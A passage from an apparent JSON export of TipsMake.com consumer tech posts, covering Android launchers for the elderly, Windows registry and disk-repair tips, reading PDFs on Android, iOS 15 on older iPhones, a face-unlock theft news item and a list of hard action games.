GPS application.\n  Disadvantages of Necta are limited to 4 themes. You can only change the color of IU.\nBig Launcher\nBig Launcher is designed for those who want to simplify their smartphone. Everything on the screen is very big, the icons are clear and easier to distinguish. This helps a lot for those with poor eyesight.\n  On the main screen of Big Launcher will have the most necessary applications. All of them are edited to make icons into text, making them larger and easier to read. It even sends full screen notifications, ensuring missed calls or messages get noticed immediately.\nBig Launcher has both free and high-end versions. The free version will be limited to the number of messages sent and the level of customization of the user interface. You should try it out and experience it before deciding to upgrade.\nWiser Launcher\nWiser Launcher is suitable for the elderly, people with poor eyesight and children. Similar to other launchers, Wiser also completely changes the Android interface, making navigation simpler and easier. On Wiser there will be only four parts: Home Page, Notice Board, Favorite People and Applications.\n  Wiser's main screen has six most used applications: Contacts, Phones, Messages, Cameras, Collections and Applications. Large and colorful application icons. The user interface is divided into three different pages.\nSwipe the main screen from left to right to open Favorite People. Here, users can add regular contacts. Swipe right again to open the Applications page. On this page, you can pin the most used applications. Finally, swipe the main screen from right to left to open the Notification Panel. Here you can view unread messages, emails and other notifications. The back button is also clearly displayed.\nSee more:\nCollection of Full HD PC wallpapers game themes, beautiful fiction for computers Small tips for adding background music when opening apps on Android How to create a double wallpaper on Android with Couple Wallpaper Ways to take screen shots of Android phones ncG1vNJzZmismaXArq3KnmWcp51kgW6tzZ2pqKGUYrmiwc2cn56qXZu8s3nToZxmnZyZsrO42A%3D%3D\n","link":"/post/4-android-launcher-for-the-elderly/","section":"post","tags":null,"title":"4 Android Launcher for the elderly"},{"body":"If entrepreneurs are looking for new ways to develop brands, they can learn the secrets of Steve Jobs, the CEO of Apple, who has just been voted as the character of 2010 by Financial Times.\nThe first secret of Steve Jobs is to do what you like. Not less than once, the boss of Apple told the employees: \" People, if they know passion, can transform the whole world in a better direction \".\nWith that motto, Steve Jobs has devoted his entire career to doing what he likes best, creating breakthroughs. Recently, Steve Jobs was voted by Financial Times magazine as the character of 2010.\n  Steve Jobs has just been named by Financial Times as the character of the year.\nIf the passion is considered a fuel for a rocket, then the vision will direct this missile to hit the target. Since 1976 when co-founding Apple, Jobs has been ambitious about the one day the computer (which is very cumbersome at the time) is present in the hands of every user.\nBy 1979, Jobs learned that Xerox's research division in Palo Alto, California tested a new graphical interface. At that time, researchers at Xerox did not realize they were holding a gold mine in their hands, only studying this application to create a copy. However, Steve Jobs knows that this is the tool to help dream about a compact computer into reality.\nFrom there he developed the Macintosh , a product that completely changed the way people access computers. This secret of Steve Jobs shows a fact: The two people see the same thing, but the perception may be different based on different visions.\nThe third secret of Steve Jobs is always brainstorming. \" Creativity connects everything \" becomes the mouthpiece of the 42nd richest American billionaire. According to him, creative inspiration can come from anywhere, from a phone book, while meditating, while traveling to India or during a stay at the Four Seasons hotel. Jobs did not think that he \"stole\" the idea, but applied ideas from other industries to inspire his own creation.\n\"Selling dreams, not selling products \" is the fourth and equally important secret of Apple technology owner. Steve Jobs shared that, for him, those who buy Apple products are not consumers, \" but people with dreams, hopes \" and products to satisfy that dream. He said: \" Many people think that people are crazy to buy Mac computers, but in this madness we see many geniuses .\" When Steve Jobs helps customers free their genius within them, he will capture their hearts and minds. Thanks to that, Apple is one of the few technology companies to build a huge fan base.\nSpeaking is also a secret. CEO Steve Jobs once said: \" Having things when we don't do it can make us as proud as we did.\" Apple products are famous for their simple, neat style. Its simplified commitment goes beyond the product framework. From the design of the iPod music player to the iPad tablet computer, to how to package Apple products or its website website interface . are all illustrating the motto \"innovation means eliminating all what is not needed \" .\nSteve Jobs' sixth secret is to create a different experience. Apple's chain of stores has become the best retailer in the world thanks to the deep and inspiring way of connecting with customers. For example, in a store labeled \"battered apple\" genuine worldwide people do not see a cashier, though label the consultant. Apple does not set sales targets first, but the notion that they are in the business to enrich life.\nThe last but not least important secret is \" Make the message \". For a long time, Steve Jobs has been honored by the media as the best speaker in the world. With a gift of innate presentation, he can turn a new product launch into an art exhibition. The lesson from Steve Jobs is that even if you have the best product in the world, it doesn't make sense if people aren't interested in it.\nncG1vNJzZmismaXArq3KnmWcp51khG6%2FxJypnqyjYrynedKumpydo6h6sLKMrKuerpVit7Cu0g%3D%3D\n","link":"/post/7-secrets-of-success-of-steve-jobs/","section":"post","tags":null,"title":"7 secrets of success of Steve Jobs"},{"body":"TipsMake.com - Are you tired of receiving too much spam in your mailbox every day? Are measures actually used to help users avoid complexities? Outlook filters intrinsic Spam available on the system are not able to categorize emails as spam, so they do not really meet the needs of users . In the following article, we will introduce you a tool to support spam prevention in Outlook, that is Spam Reader.\nThis application provides users with the ability to classify spam emails according to various criteria, supports various protocols such as POP, IMAP, Exchange, HTTP . depending on the settings of users in Outlook. . Technically, this type and blocking process is based on the Bayesian algorithm, primarily working on finding phrases, keywords, paths and special characters used by spammers and systems. Automatic email creation system is now popular. Besides, users can create separate Blacklist and Whitelist depending on needs.\nFirst, please visit here, download and install the latest version. When starting, the program will display 1 new tab Spam Reader on the main interface. And when opening Outlook , the application will automatically conduct the Inbox analysis process to find spam messages, and display warnings about the results found under the system tray:\n  When this process is finished, open the Spam Reader tab, select the newly created Spam folder and mark normal emails as good emails , with the corresponding - Marking button next to it. Next to this default Inbox folder, you do the same with other folders:\n  The Test Message option will show why the emails are classified as Spam . Here, the program lists all the phrases, grammar, paths, and other components based on Bayesian 's filtering technology:\n  To delete these spam messages, people click Delete Spam Folder then proceed to review the folders. And in the Options section, you can change the default Spam setting folder along with some other properties such as automatic sorting mechanism, Desktop warning display . and a number of other options in the item. Phrase Filter.\n  And finally, the creation of Blacklist (for spammers) and corresponding Whitelist for true sender addresses or not. Currently, this utility works well with all versions of Outlook, and the latest is Microsoft Outlook 2010, 32 and 64 bit versions. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krrbAzqaYraGTlrmtxYyim56mpJ6zunnAp5tmnJWhsrWxjKynmqVdmrqitcusZKKmXaTCtbjOqKJmr5mptW6%2Fz5qkZqqVlrGmvg%3D%3D\n","link":"/post/automatically-identify-and-delete-spam-emails-in-outlook-with-spam-reader/","section":"post","tags":null,"title":"Automatically identify and delete spam emails in Outlook with Spam Reader"},{"body":"Recently, GFX Bench - the famous application for graphics and gaming benchmark on both Android and iOS, has been updated to the new version 5.0 with a test and evaluation of the performance of the graphics card on smartphones in a way most intensive and accurate.\nIn the GFX Bench 5.0 version, there will be an additional Aztec Ruins scene processing test that runs on many low-level APIs to help users compare the performance of more advanced devices.\nDevices are tested through processing scenes running at 1440p (high) or 1080p (normal) resolution, it can run compatibility in Vulkan, OpenGL and Metal.\nIn the future, these new tests will be used by reviewers around the world to test the performance of many different devices. Let's wait to get a better overview of the performance of the latest smartphones.\nDownload GFX Benchmark for Android Download GFX Benchmark for iOS See more:\nHow to check Android status using Phone Doctor Plus The best applications to monitor system performance on Android Check the quality of old phones before buying with TestM application 5 free apps that allow evaluation of Android devices ncG1vNJzZmismaXArq3KnmWcp51ktKfEjJucp5uYYoJxecisZK2glWK6sL%2FTZpidrpGjsKawjJqlnWWRmLC2vsCtnGarnZa%2FtbzHqKWeZaCav6e70aaYp5uVYrSzrcOipaBlkaW9rbXCmquip54%3D\n","link":"/post/gfx-bench-5-0-is-the-most-advanced-and-accurate-smartphone-performance-grading-application/","section":"post","tags":null,"title":"GFX Bench 5.0 is the most advanced and accurate smartphone performance grading application"},{"body":"The context menu in Windows 10 is a small list of options that appear when you right-click anywhere in Windows 10. The exact options that appear will depend on whether you right-click a file, a folder, or a folder. empty space.\nBut with some registry edits, you can expand the options in the context menu, such as by adding the Open with Notepad option to it.\nAlthough this process is safe if you follow the instructions exactly, you should back up the registry before proceeding to edit, in case something goes wrong.\nPlease follow these steps:\n1. Open Registry Editor by pressing the Start key and typing regedit . In Registry Editor, navigate to:\nComputerHKEY_CLASSES_ROOT*shell 2. In the shell folder , right-click and create a new key named Open with Notepad . Then in this key, create a key named Command.\nIn the shell directory, create a new key Open with Notepad, and in this key, create a Command key 3. In the Command key folder , double-click the Default string . In the Value box , type notepad.exe% 1.\nIn the Command key folder, double-click the Default string, and then type notepad.exe% 1 in the Value box All operations are completed! Now, close the Registry Editor, right-click on the screen and you will see Open with Notepad appear in the context menu whenever you right-click a file.\nTipsMake.com also has many other Windows 10 Registry tips if you are interested. Or, if you're looking for something more interesting, check out this great list of screensavers for Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqwvMSnZLChpJ16r7vTnqeanF2pvG7Ax55knKeeqbK5wIymnKetXZ67bsPIp5uor6NifnE%3D\n","link":"/post/how-to-add-open-with-notepad-to-the-context-menu-in-windows-10/","section":"post","tags":null,"title":"How to add Open with Notepad to the context menu in Windows 10"},{"body":"If you see the system warning dialog with Unknown Hard Error suddenly appearing and then the Windows 10 screen turns black, read the following article to know how to fix it.\nHow to fix the screen error of Windows 7/8 / 8.1 / 10 is black Unknown Error Hard Error is one of the most common system errors, often occurring in Windows 10 operating system. You may encounter this error while playing a game, running an application or performing other tasks on a Windows computer. .\nA corrupted system file, a corrupted Windows registry due to software changes, a hard drive or hardware problem, etc. are some of the causes of Unknown Hard Error in Windows 10.\n  When this error occurs, you cannot access the computer because it freezes the taskbar and switches the screen to black. Some users also reported that they had a dead blue screen problem due to the Unknown Hard Error.\nHow to fix Unknown Hard Error on Windows 10 Method 1: Perform clean boot Method 2: Run the System File Checker tool Method 3: Run the Check Disk tool Method 4: Uninstall the Windows update Method 1: Perform clean boot The first method you need to take to solve the Unknown Hard Error problem is to perform Clean boot. When you perform a clean boot, you will know the cause of this problem and find the right solution. To perform Clean boot, refer to the following article How to perform Clean Boot on Windows 10/8/7.\nMethod 2: Run the System File Checker tool To check for corrupted system files, there are no more useful and handy tools than System File Checker. It will perform system scans, then repair and restore corrupted files. Refer to the article Using the SFC command to fix Windows 10 file system errors.\nMethod 3: Run the Check Disk tool If the hard drive fails to cause an Unknown Hard Error or a blue screen error, you can run the CHKDSK command to check the hard drive error.\nCheck and fix hard drive errors with CMD on Windows Step 1 . Run Command Prompt with administrative rights by right-clicking on the Start button and selecting Command Prompt (Admin) .\n  Step 2 . Type chkdsk / f / r into Command Prompt and press Enter .\n  Now the Check Disk utility will scan the hard drive and then automatically repair the error it finds.\nMethod 4: Uninstall the Windows update Installing new Windows updates often fixes vulnerabilities, but some updates sometimes make things worse. If you encounter an Unknown Hard Error after installing a new Windows update, you can try uninstalling this.\nFollow the steps below to uninstall updates on Windows 10 computers:\nStep 1 . Press Windows + I to open Windows Settings .\nStep 2 . Select Update \u0026amp; Security\u0026gt; Windows Update and then click View update history to see the update installed on the computer.\nStep 3 . Now, on the View update history window, click on the Uninstall Updates option.\n  Step 4. From the Installed Updates window, right-click on the most recently installed update and select Uninstall .\n  After uninstalling Windows updates, restart the computer. This method has helped many Windows users to fix sihost.exe or explorer.exe unknown hard errors on Windows 10.\nI wish you all success!\nSee more:\n10 common errors on Windows 10 and how to fix bugs Summary of some ways to fix Windows 10 crash, BSOD error and restart error How to fix some errors when updating Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq2usqnprCmXZ2us7CMnqmrp6JivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-fix-unknown-hard-error-on-windows-10/","section":"post","tags":null,"title":"How to fix Unknown Hard Error on Windows 10"},{"body":"  Open the Google Play Store app with the multicolored triangle icon on a white background, usually found in the App Drawer.\nIf the Google Play Store is divided into multiple apps, choose Google Play Store Games.\n  Tap the search bar at the top of the screen.\n  Type adobe acrobat reader. This will bring up a list of matching search results just below the search bar.\n  Tap Adobe Acrobat Reader with the Adobe icon displayed at the top of the search results list to open the Adobe Acrobat Reader page.\n  Tap the green INSTALL button on the right side of the screen to start downloading the Adobe Acrobat Reader app.\nYou may have to tap ACCEPT (Accept) to start downloading the app.\n  Wait for Adobe Acrobat Reader to finish downloading. Once the download is complete, you can open the downloaded PDF file or open the PDF file online.\nOpen the downloaded PDF file   Open Adobe Acrobat Reader. Tap OPEN in the Google Play Store, or tap the Adobe Acrobat Reader app with the red and white triangle icon in the App Drawer.\n  Browse through the instructions. Swipe the screen from right to left until you see the last page of the tutorial.\n  Tap the blue Get Started button at the bottom of the page.\n  Tap the LOCAL tab at the top of the screen. This will open the list of PDF files saved in the Android device.\nThis method is suitable when you download a PDF to your Android device but cannot open it. If the PDF file is not available on your Android device, you need to use the next method.\n  Tap ALLOW when asked. This allows Adobe Acrobat to access Android's storage.\n  Refresh the page. Do a swipe down from the center of the screen, then allow the LOCAL tab to refresh.\nIt may take a few minutes for Adobe Acrobat Reader to find the downloaded PDF file, so please be patient.\n  Select your PDF file. Tap the PDF file you need to open it immediately and view the contents.\nOpen PDF files online   Access PDF files online. Open the app or website that has the PDF file you want to view.\nFor example, if you want to open a PDF file attached to an email, you open the Gmail app and open the email you want to view.\n  Select PDF file. Tap to open PDF attachments or links.\nIf you tap the PDF file in Google Chrome, this will open the PDF, allowing you to skip the rest of this method. You can still download the PDF by tapping the Download button.\n  Tap Adobe Acrobat Reader when asked. The screen will display a message asking which program you want to use to open this link or attachment.\nIf Adobe Acrobat Reader is the only PDF reader, you won't be asked - Adobe Acrobat Reader opens on its own. If so, skip this step and the next.\n  Tap ALWAYS (Always). This is the operation to set Adobe Acrobat Reader as the default PDF viewer for Android devices and the file will be opened here.\n  Wait until the PDF is opened. If this is your first time using Adobe Acrobat Reader, it will take a few seconds for the PDF to open. Once the PDF has opened, you can comfortably view the content as usual.\n  Download PDF files that do not open automatically. If you can't view the PDF in a browser or application, do the following, depending on the file type:\nEmail attachments - Tap the Download button on the PDF preview, then confirm your selection and/or choose where to save it if prompted.\nWeb link - Tap the link, select ⋮ in the upper-right corner, tap Download, then confirm your selection and/or choose where to save it if asked.\nUse Google Drive   Install Google Drive if it doesn't already exist. Similar to Chrome, Google Drive can be used to view PDF documents, although some documents must be uploaded to Google Drive before you can do this. To install Google Drive, open the Google Play Store, and then do the following:\nTap the search bar.\nType google drive, then tap Google Drive in the list of search results.\nTap INSTALL (Settings), then select ACCEPT (Accept) when prompted.\n  Open Google Drive. Tap the Google Drive app with the green, yellow, and blue triangle icon, or tap OPEN in the Google Play Store when Google Drive has just installed. This will open the Google Drive login page.\nLog in to your account. Tap the account you want to use for Google Drive, then enter the password when prompted.\nIf you only have one Google account on your Android device, you'll be signed in automatically.\nIf you already have Google Drive installed and signed in to your Google account on Android, skip this step and the next.\n  Tap SKIP (Skip) at the bottom left corner of the screen. This will bypass the Google Drive manual and take you to your Google Drive folder.\n  Add PDF files to Google Drive. This will vary depending on whether the PDF file is saved on your computer or Android device:\nComputer - Go to https://drive.google.com/ and sign in, then select New, click File upload, select your PDF and click Open on Windows or Choose (Select) on your Mac.\nAndroid - Tap +, select Upload, select your PDF and tap ALLOW when asked.\n  Select your PDF. Find and tap the PDF you've uploaded. The PDF file will open in Google Drive, allowing you to view the content as you wish.\nAndroid phone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVlrFuvMOfZKimXZa7pb7OoptmqJiku6Y%3D\n","link":"/post/how-to-read-pdf-on-android-phone/","section":"post","tags":null,"title":"How to Read PDF on Android Phone"},{"body":"For some reason you want to change your Microsoft account to a Local account on Windows 10 and Windows 8.1, for example, if you forget your Local account or don't want to use all the new features on Windows 10 , 8.1 more. The following article will guide you how to transfer Microsoft account to Local account with only extremely simple steps.\n1. Transfer Microsoft account to Local account on Windows 10 1. Open the Settings application by pressing the Windows + I key combination. Next on the Settings window, click Account s =\u0026gt; Your email and accounts.\n  \n2. Look at the list of right frame options, find and click Sign in with a local account instead.\n  \n3. Enter your Microsoft account password to confirm the change, then click Next.\n4. On the Switch To A Local Account window, enter your username, password and password hint (hint to recall your password) of your Local account, then click Next .\n  5. On the next window click Sign out and finish to log out of your Microsoft account, then proceed to log back in with your Local account.\n  Note: This process does not affect any files or installation programs on your Windows 10 computer.\n2. Transfer Microsoft account to Local account on Windows 8.1 First log in to your Microsoft account. To start \" Switch to a local account\", access the PC Setting section .\nRefer to how to log in to your computer when you forget your password At the PC Setting window, select Accounts\n  \nThen click Disconnect at the bottom of your Microsoft account name.\n  Steps to move to Local account After Disconnect (disconnects) your Microsoft account, perform the following steps below to transfer your Microsoft account to a Local account.\n  First, you must confirm your Microsoft account password to ensure security. Enter your Microsoft account password, then click Next to continue.\n  Enter the username and Local account password you want to create. Create a password hint if you want, click Next to continue.\n  Click Sign out and finish to allow Windows 8.1 to complete the account configuration and logout of the Local account you just created.\nAfter logging out, use your newly created Local account to log in again. So you already have a Local account that works just like any of the accounts you previously used in older versions of Windows.\nThe end All your account settings, including applications that you have downloaded, will be transferred to the new account. Although you can sign in with a Microsoft account, your Microsoft account will not disappear.\nYou can still enter that information into any application's installation if it requires to unlock the full functionality of that application. This means you have the option to upgrade to a Microsoft account when you download any application you want, then switch to a Local account.\nRefer to some of the following articles: The fastest Microsoft account setup guide Distinguish local accounts and Microsoft accounts on Windows 8 Instructions on how to login to your computer when you forget your password Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK2qkaPAp7HRZqSim6KkwLCy02aYnJufqru1edOoZKWnk5a5bq3CnKaupqRivK951qKlnaenqHpyfIxxaA%3D%3D\n","link":"/post/instructions-to-transfer-microsoft-account-to-local-account-on-windows-10-8-1/","section":"post","tags":null,"title":"Instructions to transfer Microsoft account to Local account on Windows 10 / 8.1"},{"body":"When you update a feature or upgrade to a new version of Windows, Microsoft creates a folder called \"Windows.old\" in the C: drive to save a copy of the previous version to aid in restoring when needed.\n If the update installation fails or Windows can't restart but gets stuck on the blue screen, you can use the Windows.old folder to go back to your previous or current Windows installation.\nThe Windows.old folder can consume up to 20GB of disk space, but it may be less or more depending on the number of applications, files and your system preferences.\nTo delete the Windows.old folder, Microsoft recommends that you access the Disk Cleanup tool, where you can press the button \"Cleanup system files\" or \"Clean up system files\" and then choose the option \"Previous Windows installations \" or \" Preinstalled Windows \" .\n   The tool will automatically calculate how much space those files are taking up and you just need to click \"OK\" to delete previous Windows system files and free up memory. According to Microsoft, the process is very simple, but may not work for all devices.\nIn some cases, Disk Cleanup will not delete the \"Windows.old\" folder and quite a few users have reported this issue over the past few months. Previously this bug was reported and successfully fixed in 2016. But quite surprising when it reappears in recent updates.\nWith the latest Preview Build 20257, Microsoft says it has solved an issue that prevented some users from deleting the Windows.old folder on their devices when they used the Disk Cleanup tool.\n\"We fixed an issue where the windows.old folder could not be completely deleted while cleaning the drive,\" Microsoft stressed . It should be noted that the fix is ​​currently only available to users participating in the Windows Insider program.\nAlthough Microsoft has yet to officially release a fix that cannot remove Windows.old, this fix will release later this year or early next year.\nIf you can't delete a folder using Disk Cleanup, you can go to the Settings app and navigate to Storage Settings. Here, select the Temporary files section to delete unnecessary files that are taking up space on your system drive.\n  Windows.old folder Windows.old ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrCwusWiqaadlGLBqbGMnqmrp6JisLDBy51kp6ekYrGmuMStnGasmJp6uLXNnaawq5%2BhsW6yzqWbnqpdpLtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/microsoft-confirmed-the-error-could-not-delete-the-windows-old-folder-on-windows-10/","section":"post","tags":null,"title":"Microsoft confirmed the error could not delete the Windows.old folder on Windows 10"},{"body":"This year, iOS 15 still supports all devices that iOS 14 used to support, including the 6-year-old iPhone 6s and 6s Plus duo.\nMany iPhone 6s/6s Plus users are wondering whether to upgrade to iOS 15 or not? Therefore, this article of TipsMake.com will help you find the answer.\nWhat do iPhone 6s and 6s Plus get when upgrading to iOS 15? In essence, iOS 15 is not a major overhaul compared to iOS 14. On iOS 15, Apple refines existing features and adds many new features while keeping the interface almost the same. Therefore, if you are using iOS 14, do not expect any interface changes when upgrading to iOS 15.\n  Moreover, iOS 15 has many new features but most of them do not support the iPhone 6s and 6s Plus duo. You can only get features like the new Safari, SharePlay, Focus but can't experience Live Text, Spatial Audio.\nIn terms of performance, the iPhone 6s and 6s Plus didn't run any faster after updating to iOS 15. According to iAppleBytes' test, the Geekbench performance scores of the iPhone 6s running iOS 15 are on par with those running iOS 14.8 and iOS 13.7.\nWhat does iPhone 6s and 6s Plus lose when upgrading to iOS 15? The most noticeable loss of the iPhone 6s when upgrading to iOS 15 is battery life. Also according to iAppleBytes' test, the usage time of iPhone 6s with iOS 15 is only 2 hours 45 minutes, much lower than 3 hours 21 minutes when running iOS 13 and 3 hours 24 minutes when running iOS 12.4.1.\nShould I upgrade to iOS 15 for iPhone 6s and 6s Plus? In fact, this year Apple has a very noticeable change that is not forcing users using iOS 14 to update to iOS 15. Devices running iOS 14 will still continue to receive security updates at least for now. until iOS 16 comes out.\nTherefore, if you are using iOS 13 or earlier, you should consider updating to iOS 15 to experience the interface as well as some new features. But if you are on iOS 14, updating to iOS 15 is not necessary.\nupdate ios 15 ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqGgnbyvsYxvqmahoJ28r7GMb6pmqJyqwG6uxGasqZ%2BilrGmsIytpmahn6h6coE%3D\n","link":"/post/should-iphone-6s-iphone-6s-plus-be-upgraded-to-ios-15/","section":"post","tags":null,"title":"Should iPhone 6s, iPhone 6s Plus be upgraded to iOS 15?"},{"body":"Yuan, a man from Zhejiang, went to the police to report that he had stolen 12,000 yuan (41.4 million dong) in a savings account while he was sleeping.\nAfter the investigation, the police discovered that the culprit was the two roommates of Yuan's room. After pleading guilty, the two said they used Yuan's face recognition system to open the phone when he was sleeping. In the same way, they transferred all the money at the WeChat Pay app in the victim's phone to their account.\n  Artwork: Internet.\nYuan's phone has a market price of about 1,000 yuan (approximately 3.5 million dong) and features face detection to unlock it. Looks like this feature works not very reliable. The police have tested and found that Yuan's face recognition system can unlock even if the owner is closing his eyes.\n  Face detection system on cheap smartphones is often easily overtaken.Artwork: Internet.\nCurrently, almost every Chinese smartphone is equipped with facial recognition to unlock it. However, this feature on some low-cost smartphones can easily be bypassed by 2D imaging by not scanning the iris or 3D scanning.\nncG1vNJzZmismaXArq3KnmWcp51kwK6t0a2noaeemnq2usuomqRllpqutcHRnmSwoaSdeqetwp5kq52TpLSvtdOipqdlo67AtbHMZqSao5WoerDDzZ6pZqSfqMFufZdpZ66rlGLEqbXLnmSspJWavaq6xg%3D%3D\n","link":"/post/smartphone-unlock-feature-with-face-recognition-system-makes-owner-lost-1-800usd-while-sleeping/","section":"post","tags":null,"title":"Smartphone unlock feature with face recognition system makes owner lost 1,800USD while sleeping"},{"body":"Apple is expected to introduce the next MacBook Pro and MacBook Air at the WWDC 2013 event starting June 10 this year in San Francisco (USA).\nMing-Chi Kuo, an analyst with market research firm KGI Securities, said \"Apple\" will change some of the hardware on the upcoming MacBook Pro and Air models. In it, Pro models will be upgraded to the camera and Air is a microphone.\n  MacBook Pro Retina can use FaceTime camera with higher resolution than before. (Photo: The Verge).\nThe new MacBook Pro and Air will be equipped with the latest Haswell platform processor from Intel. In particular, MacBook Pro will \"build up\" FaceTime camera from HD to Full HD to improve video call quality on Retina screen. For MacBook Air, these ultra-thin models are expected to use the MacBook Pro Retina microphone technology , allowing voice recording at a longer distance than before.\nAccording to Cnet, with the new Haswell chip that promises to offer slim design and longer battery life of up to 50% , MacBook Pro models with monitors can often be \"dead\" soon . This caused many concerns because the price of MacBook Pro Retina is still not accessible to many users.\nCurrently, Apple has not confirmed any new product information.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKecsGWdlrCju86kZKmqn2LEqrjLZp%2BarpVirm6y1KWjZqCUYrCiucSrmA%3D%3D\n","link":"/post/the-new-macbook-pro-will-have-a-full-hd-camera/","section":"post","tags":null,"title":"The new MacBook Pro will have a Full HD camera"},{"body":"Action game is probably a game genre that is no stranger to game-loving rumors all over the world, and it is known as one of the most loved game genres of all time, because entertaining experiences that it brings.\nSo have you ever tried your hand with super hard action games to show off your gaming skills?\nIf you have never tried it before, today, let me go through the list of super-difficult but extremely attractive action games to try once in your life.\n1. The game Dark Souls (Series) Referring to the super-difficult action game, most gamers will certainly mention the name Dark Souls first, because this is one of the legendary games that has 'beaten' for countless generations of gamers when first experiencing. test it.\n  At the first sight of the context, the game Dark Souls has overwhelmed the gaming community around the world, when the game gives us a gloomy world with ruined ruin.\nHowever, the most impressive thing that Dark Soul left for gamers is not the context in the game, but it is the 'incredible' difficulty.\nNo need to go anywhere, just facing the 'shrimp' along the road is enough for you to sweat, not to mention the giant bosses like Nameless King or Soul of Cinder.\n  If you want to try the game Dark Souls, the first thing you need is to be really calm, because if you want to clear this game, you will have to die over and over again hundreds or even thousands of times to get used to how. Fight also the Bosses in that game.\n  Each time you fall, you will learn a lot of experience for the next time, and the fact that you are continuously defeated is the specialty of 'onion basket' called Dark Souls.\n2. Bloodborne Developed by FromSoftware, Bloodborne is known as one of the best action RPG on PS4, and has been honored as one of the five contenders for the title of highest game: Game of The Year 2015.\n  Follow in the footsteps of a super cool Hunter on an uncertain journey, the longer you roam in the dark, you will be immersed in the dark scene of Yarnam, with monsters designed from disgusting to cold.\nYou will feel a world of plague when people are sinking in despair, even in the game without any specific narrative or introduction.\nBesides the authentic context, the fighting mechanics of Bloodborne is also a highlight because the game gives players a massive arsenal.\nIf Dark Souls uses shields to block attacks, the secondary weapon in Bloodborne is a gun for long-range attack, or parry of enemy attacks, and this makes the fighting mechanics in Bloodborne much more flexible. with Dark Soul.\n  In the game, each boss is a real challenge, because they all have different strengths and weaknesses.\nAnd defeating them will make you extremely excited, especially when each battle is accompanied by a very spectacular soundtrack.\n  Therefore, Bloodborne game will definitely be a perfect experience for you, if you want to try and practice your skills and reflexes.\n3. Sekiro: Shadows Die Twice Referring to the super difficult game without mentioning the game Sekiro: Shadows Die Twice - the champion of the title Game of The Year 2019 will probably be a huge shortcoming.\nSet in the fantasy Japanese Warring States period taking place in the 16th century, you will play the role of Sekiro - a Shinobi whose mission is to protect the lack of master Kuro of Ashina Castle, who holds the secret of immortality.\n  By giving players a nightmare difficulty not inferior to Dark Souls, the game Sekiro: Shadows Die Twice did not disappoint the gaming community.\nThe game gives players a unique game play mechanism, created by an energetic combat system, and the sound of swords clashing very authentically, making the game extremely stimulating when the player feels. fight.\n  In addition, the graphics of Sekiro: Shadows Die Twice is also a huge plus when the game gives us a beautiful, realistic, Japanese-style scene mixed with the music. the background is beautifully rendered.\n  With the great success of harmoniously combining the storyline with the enchanting gameplay, then for sure, Sekiro: Shadows Die Twice will not waste your time and effort to destroy it.\n4. Nioh To be honest, I was one of those who played Nioh quite late, because at that time I had not had the chance to experience the game since it was released.\nHowever, even though I tried it a few weeks ago, my feelings are still the same as someone who has played it for a long time because . being 'eaten' by the game ᵔᴥᵔ\n  After more than 3,000 resurrection deaths, I realized there was something very clear in Nioh. It's that you realize that anything in the game can kill you, or you will even get the feeling that any Mob along the way can be the final boss.\nWhen you first play Nioh, you will certainly die many times by all kinds of different genres, and the reason for dying is even more than the number of times you die.\nFor the simplest example, you only need to eat up to 2 or 3 basic attacks of a mob, the rate of ascension can be up to 70% or even 'punch and die'.\n  Although the player is more selective than the game Dark Souls, but the game Nioh still deserves to be on this list, because this is really an extremely quality game with epic boss battles, fighting mechanics. Nice martial arts and it will be a fun experience to test your patience.\n5. Demon's Souls First released in 2009, the game Demon's Souls is like a pioneer for the current Souls series, the predecessor of the 'onion basket' called Dark Souls.\n  The plot of the game Demon's Souls revolves around King Allant making a serious mistake when he awakens the evil spirit named The Old One - which brings darkness to destroy Boletaria kingdom and capture the souls of the people. innocent.\nAnd you will play as a hero to Boletaria to destroy the dark forces, bring peace back.\n  Since the game Demon's Souls was out more than 10 years ago, its graphics might be annoying for gamers now.\nHowever, this is still a good game because of the difficulty and challenge it brings, and if you do not mind that the game's graphics are very outdated, I recommend you try Demon's Souls at least one. times in life.\n6. Code Vein If you are looking for a super difficult action game but you love the dark anime Tokyo Ghoul style, maybe Code Vein game will make you satisfied.\n  The game is set in the post-apocalypse, taking you into a devastated world with hysterical Lost monsters and supernatural forces.\nTo prevent the rampage of monsters, humans have created the Revenant - corpses revived by organ transplantation, bioremediation and in-game you will be playing the role of a Surant and amnesia woke up due to be awakened.\n    Although the gameplay and boss battle design are not as spectacular as in Bloodborne and Dark Souls games, the Story part of Code Vein game is an impressive highlight.\nThe more you uncover the mysteries of Vein society and the origins of Revenants, the more you will be excited by the elaborate world of the game, each event, each character. are closely linked together.\nAnd if you explore more deeply about the story in Code Vein, you will find a beautiful and loving society hidden under the guise of a dark, ruined and ruined world.\n7. Conclusion Okay, above are 6 super difficult but super cool action games that I want to share with you. As usual, if you find this article good, do not forget to Like, share with friends and relatives and visit TipsMake in your free time to read extremely useful information.\nI wish you a good day!\nDemon's Souls ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG9kmpuknryvecaapJ6rXZa%2FpnnSrqeeql2ZtqeyyJyspaxdl8K1ecSxq6udnZq5unnAraurmZOptrex\n","link":"/post/top-6-action-games-are-super-difficult-but-extremely-attractive/","section":"post","tags":null,"title":"TOP 6 action games are super difficult but extremely attractive"},{"body":"This new social networking app has attracted more than 500,000 downloads on the App Store in just one day. Even, many people still advertise and urge people to switch to using Vero on their own Instagram.\nVero is a photo sharing application. Last week, it was almost \"invisible\" among hundreds of thousands of other mobile applications, although it was released in 2015.\nBut in the past few days, this application has caused the server to continue to fall into overload so many users cannot post images or even log in to their accounts.\n  According to Sensor Tower statistics, within 24 hours, Vero has welcomed more than 500,000 iOS users in the US market. And the sad news for Instagram is that most of them are switching from one of the most popular photo-sharing platforms today.\nWhat is Vero?\nVero is a free social network application (without advertising) by billionaire Ayman Hariri, and the son of former Lebanese Prime Minister Rafik Hariri, released in 2015. The billionaire Bored with the privacy policies of other advertising-based social networks, it was decided to create a completely new social network to help you be yourself.\nVero has a mechanism similar to Instagram. With Vero, users can not only upload photos, but also share text and 